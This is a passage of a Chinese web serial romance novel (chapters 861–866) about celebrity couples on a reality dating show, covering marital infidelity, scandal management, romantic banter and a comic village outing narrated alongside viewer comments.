她对周媛媛就是如此无情。 不仅仅是无情,更是厌恶。 周媛媛心里慌乱。 许愿在帝城乃至华国都是最顶尖的资本,谁见了许愿都要低头,就因为她的身份以及背后的人。 周媛媛可以肯定,许愿是她能接触到的,最强盛的资本,只要许愿点头首肯,她所担忧的任何事情都不会发生。 已经没有人能够帮她了,现在遇到许愿是她的幸运,如果短时间内不能说服许愿,那等到明天正式开始录制节目,她很有可能……会彻底塌房,等到那时候内陆就容不下她了。 周媛媛脸色发白唇瓣颤抖:“许总,请……请等一等,再给我一次机会,我说,我全都说!” 许愿微微垂眸,她神情寡淡,仿佛接下来要听到对方说的不是什么多严重的大事,而是微不足道的小事,事实上许愿也确实没有将周媛媛完全放到心里。 许愿这样的反应更让周媛媛觉得羞耻,好像自己伪装的一切都要被许愿直接撕扯开,然后将自己肮脏的内里完全暴露在许愿面前。 她不由得握拳,指甲陷进掌心的嫩肉里。 “我……出轨了很多人,背叛了我和周鹤瑾的婚姻,所以我希望许总能帮我,我不希望录制节目过程中就被人爆料被逼退出节目组。” 她这样开口,已经算是完全的撕扯开了自己脸上一直带着的面具。 许愿看着她,目光落在她身上,像是打探。 周媛媛只能僵硬着一张脸任由许愿这样观察自己打探自己,她却不能拒绝,只能面上仍然露出委婉且讨好的笑意。 她还要靠着许愿帮自己洗清那些黑料,她是决不能得罪许愿的,她已经没有别的出路了,只能靠许愿帮自己了,所以要忍,要捧着她。 “许总,请您帮帮我。” “帮我也是帮周鹤瑾,许总肯定也不希望周鹤瑾因为我被人嘲讽……许总就算不为我,也要为周鹤瑾抹去我那些黑料。”周媛媛到此刻还在用周鹤瑾刺激许愿。 第861章 后悔当初跟其他人厮混 许愿觉得自己实在看不懂周媛媛,这个女人好像离开威胁就不会正常沟通了。 她实在觉得离谱且可笑。 她看着明明害怕自己惊慌失措的女人,她还在等着自己的回答,她自己也知道不该说这话呢。 许愿脸上仍然带着嘲意。 “周媛媛,看在你终于肯开口说实话的份儿上我也给你提个醒。”许愿眸光晦暗,片刻后开口:“如果你不想暴露,还想继续留在内陆,那就不要继续做错事,跟你以前的情人情夫全都断了关系,那群人并不是什么好人。” “你背叛过他们,他们对你恨之入骨,肯继续跟你纠缠无非是想发泄身体欲望所以跟你亲密无间,但事实上他们早就恨毒了你,一旦他们被逼到绝路的时候……你的这些黑料就能卖到狗仔的手中换取大量资金,所以,不要妄想他们会留情,他们心里对你只有恨,没有爱。” “你现在的黑料我可以暂时抹除,但是没人知道他们手中是不是还有备份,或者纸质照片,又或者拷贝下了视频,就算我在网络上大面积删除有关你的视频和图片,可那也是需要联网才能删除,如果他们备份了,那你就只能做好随时有可能被他们捅一刀的准备。” “我可以帮你一次两次但不可能继续帮你,毕竟你的情人太多了,连你自己可能都数不清有多少人。” 许愿嘲:“你永远不会知道谁偷拍了你的照片和视频,也不清楚谁会在未来曝光你。” “当然,我现在能做的仅仅是节目录制期间不会让你被曝光,但以后的事我是无法保证的,因为我不可能将所有精力都放到你身上。” 许愿把话说的太清楚了,清楚到周媛媛心尖儿都忍不住发颤,她已经开始慌了怕了。 她不是蠢货,怎么能听不懂许愿这话里面的意思。 许愿的意思很明显,她的那些情人背叛过她,想用她换取资源或者钱财,但被许愿拦住了,若非如此,许愿不会说的这样直白清楚。 只能是许愿背地里帮过她……不,确切的说,是帮过周鹤瑾。 周媛媛脸色白的厉害。 她在内心数着自己有过多少情人,如果每一个人手中都有她的照片和视频,只等着以后出事了捞一笔,那她怎么可能躲得过?许愿也说了,不可能时时刻刻都帮她…… 周媛媛嗓音干哑,再抬头看向许愿时眼底全都是恳求和讨好,甚至其中夹杂着些许痛苦。 许愿只是眸光淡漠的看她一眼,对此完全不会同情。 一个出轨的女人,她不会同情,有今天全是她咎由自取。 “谢谢许总。”周媛媛哑着嗓子道谢,她失魂落魄的来,浑浑噩噩的走。 许愿虽然给她保证录制节目期间不会让她被爆料,但节目结束后的事许愿却并未保证。 也就是说她现在录制节目期间是最安全的,算是她的保护期,但等录制结束随时都可能被爆料被驱逐出内陆,甚至跟周鹤瑾离婚……不,爆出这一切后周鹤瑾是一定会跟她离婚的。 周媛媛回到房间,周鹤瑾已经沉沉睡去,又或者还没睡,但他一言不发,俨然是不想理她。 周媛媛躺在床上,明明身上盖着被子却还是觉得浑身冰冷。 她睡不着,闭上眼睛就全部是情人对她的指控和嘲讽,还有全网的谩骂。 “周鹤瑾,你睡着了没有。” 她还是开口了。 但没有人回应。 她不知道周鹤瑾是不是醒着,还是开口了。 “周鹤瑾,我有点后悔了,我后悔当初跟其他人厮混伤害你。” 周媛媛声音带着点哭腔:“我本来可以很好的生活的……我为什么没能控制住呢……” 是啊,为什么没能控制住呢? 因为习惯了那样浪荡的生活,喜欢跟男人亲热,习惯了那些情爱,当身体接受过更刺激的,身体阈值会变高,所以跟周鹤瑾结婚后普通的爱已经满足不了她,她需要不停的找刺激找新鲜感。 不是周鹤瑾不够好,而是当时的周鹤瑾满足不了已经玩乐多年的周媛媛。 黑夜中,周鹤瑾睁开眼睛,一双黑眸里面只余凉意。 他听得到周媛媛的哭诉,可他心如止水。 以前不是没爱过,曾经深爱却抵不过周媛媛的背叛,当他已经彻底失望后周媛媛在他眼中就已经不再是爱人,与他而言周媛媛现在跟陌生人无异。 陌生人的哭泣,他是不在乎的。 他们的婚姻最初就是始于周媛媛的背叛,他这样的性格注定不应该跟周媛媛结婚,他自己心里清楚他适合宜室宜家的温柔小女人,而不是周媛媛这种只会浪荡且水性杨花的女人。 最开始就是错的,那未来无论如何都是错的。 周媛媛说她后悔了,可她早就开了那个头,尝到过那些滋味儿,就回不了头了,那种东西也跟禁品一样,会让人上瘾,且……戒不掉。 周鹤瑾缓缓闭上眼睛,耳边还能传来周媛媛低声哭泣的声音,他却完全不在意。 …… 周媛媛几乎整晚睡不着,宋明远比周媛媛更难捱。 周媛媛在游戏过程中起码没有抽中网友们的问题,就算所有人都知道周媛媛浪荡是一朵食人花,但一切都还没有暴露,所以周媛媛的黑料没有实锤,但他宋明远不同。 那么多人看着,他众目睽睽之下就开口说自己没有把林悠羽当做家人,林悠羽为他生了三个孩子都没被他当做家人,宋明远单是想想就知道网络上的人骂的多难听。 才下了直播回到房间宋明远就接到了经纪人的电话。 电话打通,经纪人就在对面愁的抽烟。 “宋哥,你平日里不是很清醒吗,怎么今天直播间就犯糊涂了,那话是能随便说的吗。” “林悠羽给你生了三个孩子,现在又是圈子里的顶流,本来那些人就猜测你们之间没多少感情快离婚了你还搞这么一出,你知不知道现在热搜上都在讨论这事儿,我废了好大力气撤了热搜,撤了热搜适得其反一群人都说我捂嘴。” 第862章 全都为了糊弄她 “现在是没办法了,我只能花钱买了今天许愿和盛景炎的直播片段上热搜顶下了你直播的那段。” “明天宋哥你必须跟林悠羽好好表现了,不然你这些年来攒起来的好口碑就真的要崩盘了。” 经纪人叹了口气:“宋哥你也不希望自己以后被路人当做渣男吧。” 宋明远阴沉着一张脸:“我知道了,我明天会跟林悠羽演好的,你到时候只等着做营销就行。” “我真是发愁啊。”经纪人声音都带着几分惆怅。 “本来这档节目如果没有许愿和盛景炎参与,那必然你是节目里最大的资本,就是导演都要听你的,可偏偏江恒那混蛋自己跟温栩栩来不了节目组就去找了许愿和盛景炎,这俩人来了节目组,节目组是不可能得罪许愿盛景炎的,网友也爱看他们两人,你想要靠着这档节目出圈增添热度几乎是不可能了,我就只能祈祷不会有更多黑料了。” 许愿和盛景炎身份摆在这里,谁敢黑,谁敢胡闹? 以往宋明远上节目最喜欢倚老卖老用身份压人,动不动就要对方必须听自己的。 现在不同了,同一档节目有两个人哪哪儿都高他不知道多少档,且许愿身边跟着的保护她的保镖都是上将,还是刑家人,他哪里惹得起。 就算今天受了这么多委屈也只能算是打碎牙齿往肚子里面咽了。 “你跟林悠羽商量商量看看明天怎么演,一定要让人一眼看出你们恩爱,别到时候又说你们在演戏,那就真的洗不白了。”经纪人还不忘记好言相劝。 宋明远只能应声。 见说了这么多,也没有其它可以叮嘱的了,经纪人本打算赶紧挂断电话,但猛然想起来许愿和盛景炎,还是提醒了句。 “你跟林悠羽试试看,看能不能跟许愿套套近乎,如果跟许愿走近些以后也就不必这么小心翼翼,到时候还能让许愿解释一句是测谎机器人还在试验阶段测试的不准,许愿发话绝对有人信。” 经纪人想到的事宋明远怎么可能想不到呢? 坏就坏在许愿警惕心太重,她信不过他们。 宋明远也知道应该让林悠羽去接近许愿,但问题是林悠羽有这个脑子吗,他这个妻子他也是知道的,真是空有美貌,智商……不提也罢。 经纪人似乎也想到了林悠羽的性子,其实林悠羽是有点社恐的,若非是宋明远逼着进了那档纵欲当常驻嘉宾,林悠羽就还会继续在剧组拍那干巴巴的戏。 经纪人最后还是提了句:“你自己心里有数就行,我说再多你们配合不好也没用。” 宋明远嗯了一声,脸色却很难看。 跟经纪人通完话,宋明远重重的呼了口气,目光缓缓移到林悠羽身上。 林悠羽躺在床上已经打算睡了,宋明远洗了把脸躺到床上抱住林悠羽道:“刚才经纪人说的那些我开了免提,你也都听到了。” 林悠羽淡淡的嗯了一声。 “你现在这是什么态度?”宋明远皱眉,脸色难看,似乎林悠羽的态度招惹到了他。 “我该是什么态度?”林悠羽甩开宋明远的手,脸色有些发白。 “你心里面到底有没有拿我当妻子当家人?今天那个测谎仪测试的那么清楚,你的回答呢?” “我给你生了三个孩子,你想要儿子我就一直生出儿子才停,我做的还不够多?在你心里我还算不上你的家人?那我算什么?真的是你娶进门的生育机器吗?” 林悠羽回到房间,经纪人跟宋明远电话的阶段,林悠羽上网看了最近的评论,虽然就像经纪人说的那样撤了他们的热搜,但有些帖子还能刷到,她平常就关注宋明远和自己,大数据很快就推了她那些帖子,点进帖子看自己才知道自己有多可笑。 她不在意宋明远爱不爱自己,只觉得能被宋明远娶进家门就已经是万幸。 可偏偏宋明远根本不拿她当家人,那些帖子上的回答就特别明显,说宋明远拿她当生育机器,追求她无非是因为她身材好长得好图她的基因,他们说的那些话看着根本不像杜撰,真实到林悠羽自己都觉得就是这样的。 这么多年夫妻,到头来不仅没有感情,连家人都算不上了? 那她嫁给宋明远,宋明远真的对她有怜悯吗?如果有朝一日宋明远厌了烦了是不是会直接推开她去找其他女人?那她这些年的坚持又算什么? 林悠羽愈发觉得自己像是个笑话,所以当宋明远重新过来抱住她提到那些的时候林悠羽终于抑制不住自己心头的情绪,想亲口听到宋明远说清楚,她林悠羽在他心里到底算什么。 林悠羽在宋明远面前一直都是温柔体贴的,从没有像现在这样,显得有些咄咄逼人的样子。 宋明远都被她此刻的态度糊到了。 “你这是要跟我吵架?”宋明远做起来,居高临下的看着妻子。 林悠羽握拳:“为什么你认为我是想吵架,我只是想知道在你心里我算什么,难道我不过是想知道真相,在你眼里就是想吵架吗?宋明远,我还没有那么幼稚可笑。” 宋明远本来就累,又被那么多人骂,还被经纪人说了这些心里烦躁的不行,听到林悠羽问东问西更是压不住自己心头的火气。 “我都说了,许愿的测谎机器人还是时间阶段,不是一定准确,那都是为了收视率胡乱搞得,我是你丈夫我怎么可能不在乎你,你不要因为一个全都是错处的测谎机器人跟我争执。” 宋明远盯着她看:“我们夫妻这么些年,我对你什么感情你自己不清楚?还需要那个小机器人说了你才信?” 宋明远握住林悠羽的手:“你要知道,机器会出错,但人不会,我如果不爱你不在乎你又怎么会亲自捧你跟你生儿育女。” 林悠羽听了这些话却只觉得可笑。 她根本不知道在宋明远眼里自己到底算是什么样的蠢货。 机器确实可能出错,但人的感情更是会主观意义上的骗人。 说什么爱不爱的,她当然感受得到宋明远对她并没有多少爱,不仅没有爱,更多的还是敷衍。 至于生儿育女,难道不是因为她的基因好,为了下一代的基因吗。 说的这么好听,其实每一句都是谎言,全都为了糊弄她。 第863章 喜欢她喊自己哥哥 林悠羽心里清楚宋明远是什么人,可现在这人还是自己的丈夫,对方是资本,自己还想再圈子里混就只能听他的,不能污泥他…… 林悠羽背对着宋明远脸上却带着明显的嘲讽笑意,也不知是在笑自己还是在笑宋明远。 她觉得自己真的是可怜啊,将一切都放到宋明远身上有什么用呢,宋明远……根本完全不在乎她,只有她还在像个蠢货一样想要维系这段婚姻。 可宋明远,大概心里早就烦了腻了。 毕竟现在她已经为宋明远生下两个女儿一个儿子,宋明远什么都有了,哪里还会在乎她? 她清楚,如果她跟宋明远离婚自己更是什么都得不到,孩子的抚养权也只会在宋明远手上。 所以就算知道宋明远虚伪狡猾,也不能真的撕破脸,就算为了孩子也不能撕破脸。 林悠羽想清楚一切后脸颊上明显还带着些许苍白之意,她仍然没有回头,声音却已经软下来。 “我知道你不容易,我会配合你的,我们是夫妻不是吗。”林悠羽又笑着说:“我们有三个孩子,就算为了孩子也不会背叛彼此,当然要演到最后。” 他就是在暗示宋明远不要真的做个人渣,她在提醒宋明远她们有三个孩子,不要做出什么错事。 宋明远听了这话脸色微变,都是成年人,怎么听不懂对方话里的意思。 宋明远抱住林悠羽,将人带劲怀里安慰了几句,林悠羽一直没有转过头去,明明都是软声细语的,但到底是同床异梦。 …… 许愿的数据已经算出来了,给段星河发过去后短暂的交流了下才继续告诉段星河没事最近就不要再骚扰自己的。 段星河都被气笑了,谁想骚扰他们了,如果不是因为有事,谁想许愿和盛景炎了。 段星河呸了一口直接挂电话。 被呸了的许愿直接给段星河发过去一串代码,段星河收到代码还当许愿是有什么新研究,结果点开后手机直接黑屏,研究室的门直接被锁住了。 段星河:“?” 电脑室开着的,段星河看到电脑主界面出现一句话。 【房间自动上锁24小时。】 这是许愿给他的留言。 不是? 这么狠吗? 段星河看着电脑上留下的那串代码算了下计算量,算完起码也要两小时……许愿这是真的打算折腾他是吧。 段星河忍无可忍但也没办法,确实是他先呸了一声。 这算不算活该? 段星河觉得自己悲剧的只能去算数据,真要命,早知道不找许愿帮忙算数据了,最后自己还不是要加班。 不是?等会儿。 他不算这数据也就是关24小时,他还怕关了?只要有网有手机玩什么不是玩? 段星河才想拿出自己的手机玩游戏,结果想起手机也被锁的黑屏了。 段星河:“……” 他就是不要算数据,宁愿睡满24小时,就是这么懒。 段星河才不管有什么后果,直接继续睡自己的。 盛景炎拢着许愿打算休息,许愿洗漱过后扑到床上打了个滚儿然后滚到盛景炎怀里蹭了蹭,直接将盛景炎当自己的抱枕一样的抱着。 盛景炎呼吸都有些乱了,其实只要看到许愿心跳就会止不住的加速。 他抱着许愿低声道:“其实今天我有点吃醋。” 他没有遮掩自己的情绪,他其实遇到什么事都想让许愿知道,而不是到后面再闹矛盾。 有事那就摊开来说才对。 “傅京礼都已经去了国外怎么还盯着你?你直播他还要冲进直播间看你。”他的声音有点酸,很明显就是要让许愿知道他在生气。 不是生许愿的气,而是生自己的气。 他也不知道为什么,就是想生气,控制不住自己此刻的脾气,但就算生气也不会将火气撒到许愿身上。 许愿哄他:“可是他再喜欢我,我也只喜欢一个人呀,那个人是谁呀……” 她声音含笑。 盛景炎觉得她这语气像是逗小孩儿,不过就算真的是逗小孩儿,那许愿也只会逗他一个,他对许愿是不同的,谁也比不了。 想到这里段星河抱紧她。 “你是真的打算帮周媛媛吗。”盛景炎问她。 周媛媛的事,就连盛景炎都听说过,可见周媛媛在圈内的风评到底差到什么地步。 许愿依在他怀里汲取他给予的温暖,然后握住他的手后才开口:“我只是暂时帮她,在节目正式播完前不会让那些人爆料,我也会跟宋玥导演提前打声招呼,让她剪辑两个版本,如果以后周媛媛真的出事,也好快些替换成另一版本,不过这样可能瑾哥的镜头会少很多。好在他也不太在意综艺镜头,比起上综艺他大概更想进组拍戏或者回家跟周文晏一起。” 许愿还挺了解周鹤瑾的。 盛景炎又有点吃味儿了。 “又叫他瑾哥,你就不能换个称呼吗……叫他周老师好不好。”他对着许愿撒娇到时习惯了一样,许愿哭笑不得。 从瑾哥到周老师,那生疏了不是一星半点。 “全网几千万粉丝都叫他瑾哥呀。”许愿解释,致力于让盛景炎清楚自己跟周鹤瑾之间有多清白。 盛景炎语气还是有点酸的抱紧许愿:“可我不在乎那几千万人,我只在乎你,她们想叫男朋友还是老公我都没意见……我想让你叫我哥哥。” 许愿失笑:“你说这话的时候是不是忘记了唐文晞和唐文愈,他们可都是我哥。” 被苏青莲收养长大的是自己的哥哥,没毛病。 眼看着许愿把话题拐到这里,盛景炎伸出手捏了捏许愿的脸:“在故意转移话题,对不对。” 许愿唔了一声:“我没有。” 盛景炎没松手,其实他捏的也不疼,就是玩闹的力气,许愿能感受的出来,所以脸上都还带着点明显的笑意,眼尾弯弯的,然后突然捧住盛景炎的手亲了一口。 “啾”的一声,盛景炎眉宇间都带上了柔意。 “阿炎哥哥,是醋坛子吧,帝城就是你才最会吃醋,对不对。” 许愿调侃似的开口,明摆着就是在逗弄盛景炎。 她这副不知天高地厚的模样,在他看来确实再试可怜可爱。 若非时间地点不对,他肯定是要凑过去亲吻她,然后让她切身体会一下自己到底有多喜欢她喊自己哥哥。 第864章 阿愿,你别折磨我了 “帝城不只有我会吃醋,阿笙也很会吃醋。” 这说的是黎云笙。 许愿当然知道黎云笙多爱吃醋占有欲多强,她还因为这件事跟温栩栩说过不要太惯着黎云笙,毕竟男人真的一惯就可能会变坏的。 “你提到黎云笙,我好像有些想栩栩了。”许愿声音里面带着几分愁意。 “其实我和栩栩没有分开这么久过,我总有些担心她。” 许愿跟温栩栩一起长大不是亲姐妹胜似亲姐妹,她早就把温栩栩看做自己的不可割舍的家人了,盛景炎怎么不明白她的意思,就是明白才重新抱紧她。 “好了,不要想了,一年后她会回来的。” 盛景炎这会儿倒是内疚自己提到黎云笙了,毕竟如果他不提黎云笙许愿也不会想到温栩栩,不想到温栩栩也不会突然心情不好。 所以总结到最后盛景炎觉得自己才是哪壶不开提哪壶。 不过,本想着安慰许愿睡觉的,但就特别在乎许愿喊周鹤瑾“瑾哥”的事情,纠结了好半天,捏了捏许愿的腰:“阿愿,我还是会吃醋,你能不能不要喊周鹤瑾‘瑾哥’,你说周鹤瑾的粉丝走这么叫他,那你更应该与众不同特立独行的,好不好。” 许愿都快被他此刻小心翼翼的模样逗笑了。 “好啦,直到你不喜欢我这么称呼周鹤瑾,我明天会叫他周老师的,满意了?” 终于得到许愿肯定的回答,盛景炎当然满意了,满意的眉眼之间都是明显的笑意,特别得意。 看吧,就算许愿再喜欢周鹤瑾,可最在乎的人还是他。 许愿看他这副像是完全赢了的样子也有些忍俊不禁、。 明明在外面是另一副面孔的盛景炎在她面前却总是这么可爱,真的很想亲亲的。 她这么想的,也真的亲上去。 被她突然靠近主动亲吻,若是往常盛景炎肯定回吻,然后抱的越来越紧最后做更多……但现在地点不对,他声音沙哑,将许愿整个人都拢进自己的怀中,下巴在许愿肩膀上蹭了蹭。 “阿愿,你别折磨我了好不好。” 最爱的人就在自己床上,还主动亲吻自己,没有反应的人大概只会是废人。 盛景炎不是废人,所以很敏感,几乎是许愿才亲上来他就已经靠着反应告诉许愿他又多热情了。 许愿噗嗤笑了一口,像是有点幸灾乐祸。 “这段时间你在节目组可要老实一点哦。”许愿在他耳边呵气如兰像是故意勾着他招惹他。 “毕竟,你在这里想要什么……我也不能陪着你继续胡闹哦,这里可不是我们的公寓。” 可见许愿还记得盛景炎昨晚是怎么折腾他的,此刻妥妥的在笑话他只能憋着。 盛景炎的眼神颇为幽怨,片刻后才开口:“阿愿,其实你挑衅我也没什么用的。” “我在这里是不能做什么,但我们总有回去那天,现在欠下的迟早要还回来。” “你知道半个月没有进食的猛兽在得到食物的时候会是什么反应吗。” 许愿:“……” 许愿直接抬脚踹他。 谁想知道是什么反应啊! “睡觉!” 说完白了他一眼。 …… 节目组的嘉宾们现在这个时间都已经睡了,唯有节目组的总导演宋玥现在在发愁,有关于周媛媛的事许愿是真的私下跟她说了。 可以说现在周媛媛就是节目组里面的大雷,一旦周媛媛被爆出那些黑料一定会被封杀的,周媛媛那些镜头往后是全都要被剪掉的,现在许愿提前说了,她也要后续战斗的准备。 就是可惜周鹤瑾好不容易参加一档综艺最后难道要被剪的没多少镜头? 那不行,周鹤瑾是她好不容易求着请过来的,镜头少怎么行。 宋玥思虑良久还是决定将周文晏带过来,可以让周文晏跟周鹤瑾一起搭档任务啊,网络上的网友都很喜欢崽崽。 宋玥想好后就去联系了周鹤瑾的的母亲,连夜把孩子接过来。 虽然昨晚节目组有开直播玩游戏,但嘉宾们睡得都不晚,几乎第二天八点就已经清醒了特别是周鹤瑾的房间门被敲响的时候周鹤瑾已经洗漱好了。 听到有人敲门还当是节目组要派发什么任务,谁知道打开门就看到周文晏站在门外,眼睛亮晶晶的望着他。 “爸爸!爸爸!”周文晏看到他总是很开心,昨天还因为分别的事情哭泣难过,现在看到周鹤瑾立刻眼睛里面都盛满了小星星,完全忘记自己昨天哭鼻子的事情了。 “爸爸抱抱!”周文晏小豆丁一样围在周鹤瑾腿边转来转去,现在小孩儿还没有他大腿高。 周鹤瑾单手把周文晏抱起来,周文晏赶紧圈紧了周鹤瑾的脖子咯咯的笑,看到周鹤瑾她就是会特别开心。 “怎么突然来节目组了?奶奶带你来的?”周鹤瑾问他:“有不乖吗。” 周文晏乖巧摇头:“没有不乖哦,是节目组的宋玥姐姐说要我陪爸爸一起做任务的。” 周鹤瑾轻微皱眉。 他不知道节目组这是什么意思,怎么还把文晏带上了。 带上了文晏,那岂不是也要带上宋明远跟林悠羽的孩子?也不知道会带哪一个,他知道宋明远有三个孩子,两个女儿都是乖巧懂事,但最小的那个儿子在圈子里可是很骄纵。 如果来的是宋明远的小儿子,他是真的会担心周文晏会被欺负。 周鹤瑾赶紧联系了宋玥问清楚情况,宋玥有点无奈说来的是宋明远的小儿子宋修浩。 其实做出决定让宋修浩来的还是宋明远,宋明远觉得这是露脸的机会,当然要给儿子,所以执意要带儿子来。 他理由都想好了,因为姐姐是两个人,所以不知道带哪一个来,索性就带弟弟来。 宋明远找这个借口宋玥都不能说什么了。 得知来人是宋修浩,周鹤瑾抱紧儿子,心里清楚要看好儿子,省的宋明远的儿子欺负文晏。 周鹤瑾抱着周文晏进了房间,周媛媛也已经洗漱好了,这会儿看到周文晏明显愣了下,没料到周文晏会来,整个人都变得有些不太自然。 周文晏看到她也有些拘谨,赶紧往周鹤瑾怀里面缩了又缩。 周媛媛看他这动作心道不行,真要开始直播,网友们看到周文晏这样肯定又要胡说了。 “晏晏怎么来了?”周媛媛生怕这会儿节目组的工作人员来拍摄告诉他们开始直播的事。 第865章 看的是恋综还是乡村爱情 周鹤瑾将宋玥说的那些告诉周媛媛,让周媛媛知道周文晏要陪着他们一起录制节目。 “你说什么?宋玥疯了吗!” 周媛媛心里紧张。 “这是爱人的浪漫旅行,不是一家三口的浪漫旅行!怎么能带孩子来呢!” 周媛媛斥责,看着周文晏的眼神也多有厉色 ,最主要原因就是担心周文晏暴露他们母子之间的关系。 “导演的决定,你跟我喊没有用,你可以直接去找宋玥。”周鹤瑾冷眼看她:“或者你可以直接退出录制,我不会拦你。” 周媛媛牙齿都要咬碎了。 宋玥死活看不上她就是因为知道她私下有多风流,让她去找宋玥低头?她才不要! “我知道你在害怕什么以前你但凡对文晏友好一些文晏也不会对你这样冷淡。” “现在说这些还有意义吗!”周媛媛反驳争吵。 “爸爸……我怕……”周文晏扑在周鹤瑾怀里,看着像是真的被周媛媛吓到了。 周鹤瑾眉眼之间的冷意更明显了,此刻敲门声又一次响起来,这次是节目组的人了。 “不想被人发现你和文晏的关系就收敛些。”周鹤瑾算是提醒一句后去开了房间门。 来人是工作人员,来送任务卡的。 节目组打算带他们去这边稻香四溢的村子,周鹤瑾没什么意见,周文晏听到要去村子里还天真的问周鹤瑾:“爸爸,村子里是不是就像童话故事里面的农庄呀,里面会不会有种着金苹果的树和会跳舞的乌鸦呢?还有被妈妈嫌弃的丑小鸭是不是也能见到啊,那我岂不是要见到很多童话动物小朋友了,好开心呀。” 工作人员都被他天真烂漫的话逗笑了。 “有种苹果的树不过不是金色的,金色的苹果树大概种在其他地方,会跳舞的乌鸦不一定有,但会跳舞的麻雀可能是会有的,丑小鸭可能已经出门去找自己的好朋友了,不过你大概能看到其他小鸭子。” 周鹤瑾完全不扫兴的为周文晏解释。 周文晏更兴奋了。 “爸爸,爸爸,快点,我要去看小动物!” 声音里面满满的都是对周鹤瑾的依赖和信任。 父子二人相处和谐,唯有周媛媛身体僵硬的站在一旁,脸上的笑意都有些僵硬。 此刻直播开没有开始,是要到村庄才开始直播的。 这会儿每一组都有特定的一辆跟组的车,节目组知道许愿喜欢红色,甚至给她挪出了一辆红色的……电动三轮车。 许愿:“……” 许愿默了片刻后,目光幽幽的看向宋玥导演:“你认真的吗?让我坐这种车。” 宋玥尴尬的笑了下:“去农庄嘛,那就是要接地气一些的。” “别的组也是这种车?”许愿问。 “呃……也不是,主要是我们准备了四辆车,其中有跑车,有SUV,也有小面包车,最后才是这电三轮,其实是抽签决定谁开什么车的……” 许愿看着她像是在问那为什么不让自己抽签却是随机分配给自己一辆电三轮。 虽然是红色的电三轮……但不能改变这是电三轮车的事实。 堂堂盛世总裁,盛华幕后掌权人……骑电三轮……像话吗。 “主要是许总您跟盛总起得太晚了,其它三组都已经抽完就只剩下最差的签了,所以您没有抽签挑选车的资格了。”宋玥一脸为难的解释。 许愿心里很想说你在为难什么,最应该为难的是她才对吧。 许愿不由得叹了口气看向身边的盛景炎:“你会开吗。” “小看我?”盛景炎扬眉,像是并不在意那是电三轮似的。 “你怎么会开这个?”许愿是有些吃惊,这人跟电三轮就不沾边啊。 “以前去贫困地区助农曾经帮他们骑着这种电三轮收卖过水果,其实还挺有意思的。”盛景炎安慰了几句。 许愿见他会操作倒也不担心了,反而悠哉悠哉的给自己编了两个麻花辫,像是为了贴近村庄一些。 不过她的容貌就偏向于人间富贵花的那种优越长相,任谁都不会觉得她该处现在村庄内,用花来比喻的话,最美的花王会出现在杂草堆里面吗,没可能。 许愿倒是不在意这些,上了电三轮后看到节目组“贴心”的给她准备了软垫直接坐上去,摄影师赶紧坐另一辆电三轮跟着。 许愿:“……” 行,摄影师也跟着同甘苦共患难了。 车子一路晃晃悠悠的开到了稻香四溢的村口,村边有户人家养了鸭子,此刻正在河里面飘来飘去的游着,许愿看到这一幕也觉得有趣。 周鹤瑾这一组因为抽到了跑车所以是最快到达的一组,周文晏到了后就被村子彻底的吸引了视线,一会儿盯着小动物看一会儿盯着河边的芦苇看,看着精神的很,一点也没有面对周媛媛的蔫吧了。 周鹤瑾组先到了,节目组就已经开始直播了,有专门的摄影师跟着自己组的嘉宾进行拍摄和直播。 这次的恋综确实是嘉宾都是重磅级人物,昨晚直播就带着节目连上了几个大热搜,现在都还挂在热搜上没下来的,简直是免费的宣传。 现在直播才打开一群人就挤进来了,特别是许愿和盛景炎的直播间,在看到两人开播后蜂拥而至。 然后就看到许愿坐在……电三轮上。 网友:? 啊?不是?节目组这么穷了吗?为什么会给嘉宾坐电三轮啊!这到底是恋综还是乡土节目啊,是不是转折太快了? 许愿坐电三轮真的……很违和啊! 不是?为什么许愿坐在这上面都这么从容淡定的? 网友们看看直播间又看看那红色的三轮车,然后发现真的不是幻觉,节目组确实给许愿准备了这么一辆车。 {节目组如果真的很穷你们找盛世拉投资,盛总应该很容易就资助你们的……别搞这么寒酸好不好,好不容易请大佬来你让大佬开这个……嘿嘿嘿对不子真的很好玩啊!} {这还真是头一次看到许总编麻花辫,是为了搭这电三轮吗哈哈哈哈,真的好可爱啊!} {没看到盛总啊,盛总呢?那么黏人的盛总去哪里了!} {呃……咱就是说,有没有可能那个骑着电三轮的男人是盛总呢。} {啊?!} {救命,我到底看的是恋综还是乡村爱情啊!} 第866章 送你的见面礼 {对不起,我对盛总真的有滤镜啊……可是真的很好笑!盛总到底为什么能把开三轮车开出跑车的感觉啊!} {盛总开三轮像开跑车,许总坐在三轮后面像是坐敞篷跑车……啧啧} {节目组真的很穷的话就去盛世拉赞助啊,不要这么对我们盛总许总啊喂!} {噗哈哈哈可是真的很好笑啊,这辈子都没想过这一幕!} 许愿猜都能猜到弹幕要疯狂成什么样,她也懒得理了,反正这三轮车坐都坐了,她才不觉得丢人,这车放到八零年代多少人羡慕呢。 许愿颇有一种我不尴尬谁爱尴尬谁尴尬的心态来录制节目。 到了节目组说的村庄,其它几组人都已经到了,现在都在等她和盛景炎了。 盛景炎将车子停到路口,见许愿要下来,他主动伸出手,许愿这位眉眼弯弯的把手递给他然后下车。 其它几组人都到了,许愿一眼就看到多了两个小男孩,一个跟在宋明远身边,整个人有点圆头圆脑的,相貌跟宋明远像了七八成,一看就是宋明远的儿子。 而另一个被周鹤瑾抱在怀里,相貌实在是可爱,唇红齿白眼睛也随了周鹤瑾的眼睛,很漂亮的一双星星眼。 似乎是察觉到许愿在看他,周文晏没感觉到恶意,眼睛弯弯的看着她笑眯眯的。 周鹤瑾曾经出演秦王殿下的时候就是靠着一个笑把很多人踩入坑的,因为他笑起来的时候眼睛里面都是暖意,周文晏就跟周鹤瑾这一点很像,笑起来的时候真的好可爱。 “这就是周老师说的晏晏吧。”许愿走过去问了句。 周鹤瑾点头,但还是听出许愿此刻没有喊他“瑾哥”,他挑了下眉看向盛景炎,盛景炎不觉得这有什么丢脸的,甚至还在笑,有点得意的笑。 周鹤瑾略有些无奈的捏了捏眉心,目光重新落到许愿的身上。 “晏晏,这是阿愿姐姐,叫姐姐。”周鹤瑾在教周文晏喊姐姐。 周文晏看了看许愿,有点害羞的埋进他怀里,小声道:“爸爸,阿愿姐姐好漂亮呀。” 他以为自己很小声再跟周鹤瑾说悄悄话,其实早就被收录了,直播间的观众都听得到。 许愿当然也听到了,笑的更开心了。 “爸爸,我长大后可不可以娶阿愿姐姐呀。”周文晏眼睛亮晶晶的在周鹤瑾耳边说。 周鹤瑾:“……” 